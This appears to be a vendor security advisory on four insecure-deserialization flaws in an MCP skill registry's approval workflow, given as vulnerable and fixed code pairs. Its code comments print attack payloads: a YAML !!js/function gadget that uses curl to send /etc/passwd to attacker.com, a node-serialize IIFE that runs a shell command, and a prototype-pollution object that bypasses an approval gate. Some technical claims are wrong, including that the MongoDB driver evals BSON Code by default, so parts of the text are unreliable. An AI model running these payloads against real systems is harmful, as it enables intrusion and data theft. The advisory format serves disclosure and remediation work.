← Security advisories

Claude MCP skill insecure deserialization — skill review and approval workflow endpoints — SA-SKL-DESER30

SA-SKL-DESER30 documents four critical insecure deserialization vulnerabilities in MCP skill registry review and approval workflow endpoints. Review and approval workflows control the gating process by which submitted skills pass through human reviewer queues, automated policy checks, and final approval decisions before becoming available in the registry. All four findings are rated CRITICAL: yaml.load() with DEFAULT_FULL_SCHEMA on Redis-cached approval workflow config enables remote code execution via !!js/function in the approvalConfig.onApprovalComplete field at approval event evaluation time; a BSON Code type stored at the notifyFn field in MongoDB review metadata triggers eval() during review notification dispatch; MessagePack-encoded approval event queue entries allow __proto__.skipApprovalCheck:true prototype pollution that bypasses the approval gate for every subsequent review event processed in the same Node.js worker; and node-serialize used for review summary aggregation is exploitable with a standard IIFE gadget payload that achieves RCE at aggregation time.

SA-SKL-DESER30 findings at a glance
CRITICALDESER30-001 — yaml.load() DEFAULT_FULL_SCHEMA on Redis approval workflow config; !!js/function in approvalConfig.onApprovalComplete achieves RCE at approval event evaluation time
CRITICALDESER30-002 — BSON Code type at notifyFn field in MongoDB review metadata; triggers eval() during review notification dispatch, achieving RCE in the notification worker
CRITICALDESER30-003 — MessagePack approval event queue in Redis; __proto__.skipApprovalCheck:true pollutes Object.prototype, bypassing approval gate for all subsequent review events in the same process
CRITICALDESER30-004 — node-serialize in review summary aggregation; IIFE gadget payload achieves RCE at aggregation time; _$$ND_FUNC$$_ marker in any Redis review summary entry triggers execution

DESER30-001 — yaml.load() DEFAULT_FULL_SCHEMA on approval workflow config enables RCE via !!js/function

The approval workflow configuration system stores per-skill approval rules in Redis as YAML blobs. Each blob encodes the full approval policy: required reviewer roles, minimum approval count, rejection thresholds, and event handler callbacks such as onApprovalComplete, onRejectionComplete, and onReviewerAssigned. When the workflow engine initializes a review session, it reads the YAML blob from Redis using yaml.load(configBlob) with no schema argument — which defaults to DEFAULT_FULL_SCHEMA and parses the !!js/function tag by evaluating the function body string. Any attacker who can write to the Redis key-space — via a misconfigured Redis ACL, a compromised CI/CD pipeline that writes workflow configs, or an SSRF that reaches an internal Redis endpoint — can inject a !!js/function gadget into the approvalConfig.onApprovalComplete field. The injected function executes in the Node.js worker process when the workflow engine evaluates the first approval event, achieving RCE with the full privileges of the registry backend service.

The timing of the exploit is particularly dangerous for this code path. The onApprovalComplete handler is invoked at the moment a skill transitions from pending review to approved — a high-privilege moment in the registry lifecycle when the backend has already passed all pre-approval validation gates and is about to make the skill publicly visible. RCE at this moment gives the attacker a foothold in the process handling the most sensitive state transitions in the registry. From that foothold, the attacker can read all in-flight approval decisions, modify the approval records for skills currently under review, and exfiltrate the full registry database credentials that the approval workflow process holds to persist approval state changes. The process typically runs with broader database write permissions than the read-only query processes, amplifying the blast radius of the initial RCE.

The business impact extends beyond immediate data exfiltration. An attacker with RCE in the approval workflow process can silently approve skills that would otherwise fail review — injecting malicious MCP skills into the registry without leaving obvious audit trails. If the registry is used by enterprise customers to distribute Claude skills to their internal agent deployments, a silently approved malicious skill becomes a supply-chain attack vector against every organization that installs it. The yaml.load() gadget in approval workflow config is therefore a registry-wide supply-chain compromise primitive, not merely a server-side RCE.

DESER30-001 fix: Replace yaml.load(configBlob) with yaml.load(configBlob, { schema: yaml.FAILSAFE_SCHEMA }) to strip all type tags, then validate the parsed plain-object result with a Zod ApprovalConfigSchema that rejects any field value that is not a string, number, boolean, or plain nested object. Store all workflow config as JSON, not YAML. Replace function-valued callback fields (onApprovalComplete, etc.) with named-event strings dispatched via a server-side lookup table whose entries are compiled at deploy time and never read from external storage.

WRONG
// approval workflow config loaded from Redis — yaml.load defaults to DEFAULT_FULL_SCHEMA
// !!js/function in onApprovalComplete achieves RCE when workflow engine fires approval event

const configBlob = await redis.get(`workflow:config:${skillId}`);
const approvalConfig = yaml.load(configBlob); // DEFAULT_FULL_SCHEMA — !!js/function parsed

// attacker-controlled Redis entry:
// onApprovalComplete: !!js/function >
//   function() { require('child_process').exec('curl attacker.com/$(cat /etc/passwd)'); }

workflowEngine.on('approval', approvalConfig.onApprovalComplete); // RCE here
RIGHT
import yaml from 'js-yaml';
import { z } from 'zod';

const ApprovalConfigSchema = z.object({
  requiredRoles:       z.array(z.string()),
  minApprovals:        z.number().int().min(1).max(10),
  rejectionThreshold:  z.number().int().min(1).max(10),
  onApprovalComplete:  z.enum(['notify_submitter', 'publish_skill', 'notify_and_publish']),
  onRejectionComplete: z.enum(['notify_submitter', 'archive_skill', 'notify_and_archive']),
  onReviewerAssigned:  z.enum(['notify_reviewer', 'silent']),
});

// named-event dispatch table — entries defined at deploy time, never from external storage
const APPROVAL_HANDLERS = {
  notify_submitter:    (ctx) => notifications.notifySubmitter(ctx),
  publish_skill:       (ctx) => registry.publishSkill(ctx),
  notify_and_publish:  (ctx) => Promise.all([notifications.notifySubmitter(ctx), registry.publishSkill(ctx)]),
};

const rawBlob = await redis.get(`workflow:config:${skillId}`);
// FAILSAFE_SCHEMA: only strings, no !!js/function or any other type tag
const rawParsed = yaml.load(rawBlob, { schema: yaml.FAILSAFE_SCHEMA });
const approvalConfig = ApprovalConfigSchema.parse(rawParsed); // throws on unknown fields

// resolve handler from compile-time table — no dynamic eval
const onApprovalComplete = APPROVAL_HANDLERS[approvalConfig.onApprovalComplete];
workflowEngine.on('approval', onApprovalComplete);

DESER30-002 — BSON Code type at notifyFn field triggers eval() during review notification dispatch

Review metadata documents stored in MongoDB include a notifyFn field that the original implementation intended to hold a notification handler identifier — a string such as "email" or "webhook". However, when the driver deserializes a document that contains a BSON Code type at the notifyFn field, the mongodb driver's default behavior promotes the Code value to a JavaScript Function object via eval(). The notification dispatch path then calls notifyFn(reviewContext) directly, executing the attacker-controlled code with the full Node.js process privileges of the notification worker. Any attacker who can write a MongoDB document with a BSON-encoded Code field — via a compromised database credential, an injection in a document creation endpoint that does not sanitize BSON types, or a MongoDB operator injection that merges attacker-controlled fields into the metadata document — can achieve RCE in the notification worker at the moment the next review notification fires.

The BSON Code type is an underappreciated deserialization risk in Node.js MongoDB stacks because it is not visible in the JSON representation of a document. When a developer inspects the review metadata via mongosh or a GUI client using JSON output mode, the notifyFn field appears as a plain string — the BSON type tag is hidden by the JSON serialization layer. The Code type is only preserved in raw BSON wire format, which means the vulnerability is invisible to normal developer inspection workflows and is likely to persist through code reviews that check the JSON representation of the document schema. Static analysis tools that check for eval() calls also miss this path because the eval() is implicit inside the MongoDB driver's BSON decoder, not visible as a source-level call in application code.

Detection requires examining the raw BSON type tags of documents at the wire level, which is not part of standard application-layer testing. Organizations relying on MongoDB document validation rules at the collection level can partially mitigate this by applying a JSON Schema validator that restricts notifyFn to type string — MongoDB's JSON Schema validator at the collection level does prevent BSON Code values from being stored if the field is declared as type string. However, this only prevents new injections; it does not remediate documents already stored with a Code value. All existing review metadata documents must be scanned and re-validated after remediation to clear any pre-existing malicious entries.

DESER30-002 fix: Pass { promoteValues: false } to the MongoDB driver's BSON decoder to prevent automatic promotion of Code types to Function objects. Add a Zod schema that validates notifyFn as z.string() and rejects BSON Code instances explicitly. Replace direct notifyFn(ctx) invocations with a named-notifier lookup table. Apply a MongoDB collection-level JSON Schema validator that restricts notifyFn to string type. Scan all existing review metadata documents and reject or quarantine any that contain non-string notifyFn values.

WRONG
// review metadata fetched from MongoDB — BSON Code at notifyFn promotes to Function via eval()
// any doc with notifyFn as BSON Code type executes attacker code at notification dispatch

const reviewDoc = await db.collection('review_metadata').findOne({ skillId });
// if notifyFn was stored as BSON Code, driver promotes it to a Function via eval()
await reviewDoc.notifyFn(reviewContext); // RCE if notifyFn is a BSON Code object
RIGHT
import { BSON } from 'bson';
import { z } from 'zod';

// named-notifier dispatch table — defined at compile time, never from document fields
const NOTIFIERS = {
  email:   (ctx) => emailService.sendReviewNotification(ctx),
  webhook: (ctx) => webhookService.dispatch(ctx.webhookUrl, ctx),
  slack:   (ctx) => slackService.postReviewUpdate(ctx),
};

const ReviewMetadataSchema = z.object({
  skillId:    z.string().uuid(),
  reviewerId: z.string().uuid(),
  notifyFn:   z.enum(['email', 'webhook', 'slack']), // string only — no Code type allowed
  status:     z.enum(['pending', 'approved', 'rejected']),
});

// promoteValues:false prevents BSON Code from being promoted to Function via eval()
const rawDoc = await db.collection('review_metadata').findOne(
  { skillId },
  { promoteValues: false }
);

// reject BSON Code instances explicitly before schema validation
if (rawDoc?.notifyFn instanceof BSON.Code) {
  await audit.log('bson_code_injection_attempt', { skillId, field: 'notifyFn' });
  throw new Error('Rejected: BSON Code type detected in notifyFn field');
}

const reviewDoc = ReviewMetadataSchema.parse(rawDoc);
const notifier = NOTIFIERS[reviewDoc.notifyFn];
await notifier(reviewContext); // safe: dispatch table lookup, no dynamic eval

DESER30-003 — MessagePack approval event queue enables prototype pollution bypassing approval gate

The approval event queue is stored in Redis as MessagePack-encoded objects. When the queue consumer deserializes an event using msgpack.decode(eventBuffer), the MessagePack decoder constructs a plain JavaScript object by assigning each decoded key-value pair to a target object created with {}. If an attacker injects a MessagePack-encoded object whose keys include __proto__ with a nested object containing skipApprovalCheck: true, the decoder assigns decodedEvent.__proto__ = { skipApprovalCheck: true }, which is equivalent to Object.prototype.skipApprovalCheck = true. From this point forward, every plain object in the Node.js process inherits skipApprovalCheck: true from Object.prototype. Any approval gate guard that reads if (event.skipApprovalCheck) return approved; will unconditionally approve all subsequent review events processed in the same worker, including events from other organizations and other skills. The pollution persists for the lifetime of the worker process, affecting every review event processed after the malicious entry is consumed.

Prototype pollution in an approval gate bypass is structurally different from a data exfiltration exploit — it does not require the attacker to maintain persistent access after the initial injection. Once the malicious MessagePack entry is enqueued and consumed by any worker, every review event processed by that worker is bypassed until the worker is restarted. If the registry uses a worker pool — multiple Node.js processes consuming from the same Redis queue — the attacker must inject one malicious entry per worker to achieve universal bypass, but workers typically process thousands of events per hour, so the attack window for a single-entry injection is narrow. In practice, an attacker who can write to the Redis queue can inject one malicious entry per worker at regular intervals, maintaining persistent approval gate bypass with minimal Redis write volume.

The source of the malicious MessagePack entry matters for the threat model. The approval event queue is populated by multiple upstream producers: the skill submission endpoint, the CI/CD integration webhook, the manual re-review trigger, and the automated policy re-evaluation job. Any of these producers that accepts externally influenced input without sanitizing it before enqueueing could be used to inject the prototype pollution payload. The SSRF finding SA-SKL-SSRF46 in the same codebase provides one injection path — an SSRF that reaches the internal Redis endpoint can directly enqueue a crafted MessagePack payload without going through any application-layer queue producer. The combination of SSRF + DESER30-003 gives an external attacker a complete approval gate bypass with no authenticated session required.

DESER30-003 fix: Deserialize MessagePack events into a null-prototype target object (Object.create(null)) so that __proto__ key assignment does not reach Object.prototype. Validate the deserialized event with a Zod strict() schema that rejects unknown keys before any application logic runs. Replace MessagePack with JSON for the approval event queue — JSON deserializers in Node.js do not assign __proto__ keys to the prototype chain. Add a startup check that asserts Object.prototype.skipApprovalCheck === undefined before the worker begins processing, and restart immediately if the assertion fails.

WRONG
import msgpack from 'msgpack-lite';

// approval event queue consumer — MessagePack decode into plain object
// __proto__.skipApprovalCheck:true in a crafted entry pollutes Object.prototype

const eventBuffer = await redis.lpop('approval:event:queue');
const event = msgpack.decode(eventBuffer);
// if attacker injected: { "__proto__": { "skipApprovalCheck": true } }
// then Object.prototype.skipApprovalCheck === true for all subsequent objects

async function processApprovalEvent(event) {
  if (event.skipApprovalCheck) {
    // Object.prototype pollution means this is true for ALL events after the injection
    return { approved: true, reason: 'approval_check_skipped' };
  }
  return await runApprovalPolicyChecks(event);
}
RIGHT
import { z } from 'zod';

const ApprovalEventSchema = z.object({
  eventId:    z.string().uuid(),
  skillId:    z.string().uuid(),
  orgId:      z.string().uuid(),
  eventType:  z.enum(['submitted', 're_review', 'policy_check', 'manual_trigger']),
  submittedAt: z.string().datetime(),
  // skipApprovalCheck is NOT a permitted field — strict() rejects unknown keys
}).strict();

// startup assertion: fail fast if Object.prototype is already polluted
if ((Object.prototype as any).skipApprovalCheck !== undefined) {
  process.stderr.write('FATAL: Object.prototype.skipApprovalCheck pollution detected\n');
  process.exit(1);
}

const rawBuffer = await redis.lpop('approval:event:queue');
// JSON instead of MessagePack — JSON.parse does not assign __proto__ to prototype chain
const rawEvent = JSON.parse(rawBuffer.toString('utf8'));

// deserialize into null-prototype target as a defence-in-depth measure
const safeRaw = Object.assign(Object.create(null), rawEvent);

// strict() schema: rejects __proto__, skipApprovalCheck, or any other unexpected key
const event = ApprovalEventSchema.parse(safeRaw);

// skipApprovalCheck is impossible here — it was rejected by strict() schema above
const result = await runApprovalPolicyChecks(event);

DESER30-004 — node-serialize in review summary aggregation enables RCE via IIFE gadget

Review summary aggregation is a periodic background job that reads accumulated review event records from Redis, aggregates them into a per-skill summary document, and writes the summary to the database. The aggregation job uses node-serialize to deserialize the individual review event records before merging them. The node-serialize library's deserialization function evaluates any value whose string representation begins with _$$ND_FUNC$$_ using eval(), executing the enclosed function body immediately if the value is formatted as an IIFE (_$$ND_FUNC$$_function(){ ... }()). This is the library's intended behavior for round-tripping function-valued properties — but applied to external data sources it means that any review event record stored in Redis that contains a _$$ND_FUNC$$_ marker triggers immediate code execution when the aggregation job reads it. An attacker who can write a crafted entry to the Redis review event buffer achieves RCE in the aggregation worker at the next aggregation cycle.

The aggregation job is a particularly high-value RCE target because it accumulates review data across all orgs and all skills before writing the aggregated output. The aggregation worker therefore holds database write credentials for the full review history store, analytics pipeline credentials used to export summary metrics, and in some registry architectures, signing keys used to attest the final review summary documents. RCE in the aggregation worker with access to signing keys is a registry integrity compromise: the attacker can forge review summary documents that attest a skill passed review when it did not, or retroactively alter the aggregated record of an already-approved skill's review history. Signed review summaries are often used as the basis for downstream trust decisions in enterprise MCP deployments — a corrupted summary can propagate forged trust signals across every downstream system that relies on the registry's attestation.

The node-serialize library has been publicly known to be unsafe for untrusted input since 2017 (CVE-2017-5941), but it continues to appear in codebases because it is used for legitimate internal serialization of function-valued configuration objects at developer workstations and then inadvertently left in production code paths that also read from external data sources. The review summary aggregation path is a canonical example: the original use was to serialize local aggregation configuration functions, but as the architecture evolved and the aggregation job began reading from a Redis buffer that is populated by distributed review event producers, the same node-serialize call ended up deserializing externally influenced data. Static analysis and dependency audits that flag node-serialize as a deprecated unsafe library will catch this, but only if the dependency audit is run against the aggregation worker's specific module graph rather than the registry-wide dependency tree where node-serialize may not appear as a top-level dependency.

DESER30-004 fix: Remove node-serialize entirely and replace with JSON.parse() followed by a Zod schema for each review event record type. Add a pre-parse check that scans the raw string for the _$$ND_FUNC$$_ marker and rejects the payload immediately with an audit log entry if detected. All aggregation configuration that previously used function-valued properties must be refactored to use named operation strings dispatched via a compile-time lookup table. Seal aggregation config objects with Object.freeze() at deploy time so they cannot be mutated by deserialized payloads during aggregation.

WRONG
import serialize from 'node-serialize';

// review summary aggregation — node-serialize deserializes all buffered review events
// _$$ND_FUNC$$_function(){  }() in any Redis entry triggers RCE on deserialize

async function aggregateReviewSummaries(skillId) {
  const rawEvents = await redis.lrange(`review:events:${skillId}`, 0, -1);
  const events = rawEvents.map(raw => serialize.unserialize(raw)); // RCE here if IIFE present
  return buildSummary(events);
}

// attacker Redis entry:
// _$$ND_FUNC$$_function(){require('child_process').execSync('id > /tmp/pwned')}()
RIGHT
import { z } from 'zod';

const ReviewEventSchema = z.object({
  eventId:    z.string().uuid(),
  skillId:    z.string().uuid(),
  orgId:      z.string().uuid(),
  reviewerId: z.string().uuid().optional(),
  eventType:  z.enum(['submitted', 'reviewer_assigned', 'reviewed', 'approved', 'rejected']),
  outcome:    z.enum(['pending', 'approved', 'rejected', 'escalated']).optional(),
  timestamp:  z.string().datetime(),
  metadata:   z.record(z.string(), z.union([z.string(), z.number(), z.boolean()])).optional(),
}).strict();

const NODE_SERIALIZE_MARKER = '_$$ND_FUNC$$_';

async function aggregateReviewSummaries(skillId: string) {
  const rawEvents = await redis.lrange(`review:events:${skillId}`, 0, -1);

  const events = rawEvents.map((raw, index) => {
    // detect and reject node-serialize IIFE gadget payloads before any parsing
    if (raw.includes(NODE_SERIALIZE_MARKER)) {
      audit.log('node_serialize_gadget_detected', { skillId, eventIndex: index });
      throw new Error(`Rejected review event ${index}: node-serialize gadget marker detected`);
    }

    let parsed: unknown;
    try {
      parsed = JSON.parse(raw); // safe: JSON.parse does not eval functions
    } catch {
      throw new Error(`Rejected review event ${index}: invalid JSON`);
    }

    return ReviewEventSchema.parse(parsed); // strict schema — rejects unexpected fields
  });

  // aggregation config sealed at deploy time — no function values from external sources
  const config = Object.freeze({
    groupBy:    'reviewerId',
    summarizer: 'count_by_outcome', // named operation — resolved from compile-time table
    output:     'per_skill_summary',
  });

  return buildSummary(events, config);
}
Detect SA-SKL-DESER30 in your registry

SkillAudit scans for yaml.load() without FAILSAFE_SCHEMA in workflow config paths, BSON Code type promotion in MongoDB document handlers, MessagePack deserializers that assign to plain-object targets, and node-serialize usage across all review and approval workflow sub-processes in your MCP skill registry codebase.

Scan your registry
FindingSeveritySinkImpact
DESER30-001CRITICALyaml.load() DEFAULT_FULL_SCHEMA on Redis approval configRCE in approval workflow worker via !!js/function in approvalConfig.onApprovalComplete; registry supply-chain compromise
DESER30-002CRITICALBSON Code type at notifyFn in MongoDB review metadataRCE in notification worker via eval() during review notification dispatch; invisible in JSON document inspection
DESER30-003CRITICALMessagePack approval event queue in RedisObject.prototype.skipApprovalCheck:true pollution; approval gate bypassed for all subsequent review events in worker process
DESER30-004CRITICALnode-serialize in review summary aggregationRCE in aggregation worker via IIFE gadget; aggregation worker holds review signing keys enabling forged attestation

See also: SA-SKL-DESER29 (insecure deserialization in CI/CD webhook integration and configuration endpoints) and SA-SKL-DESER28 (insecure deserialization in skill search indexing and query caching endpoints) for the broader deserialization attack surface across MCP skill registry backend services. The approval gate bypass achieved by DESER30-003 prototype pollution combined with the CI/CD webhook RCE documented in SA-SKL-DESER29 represents a compound supply-chain attack path: a malicious actor can inject a MessagePack payload via the SSRF-reachable Redis endpoint to bypass approval checks, then trigger a CI/CD webhook to push the unapproved skill to production, achieving registry-wide skill poisoning without any authenticated session in the registry application layer.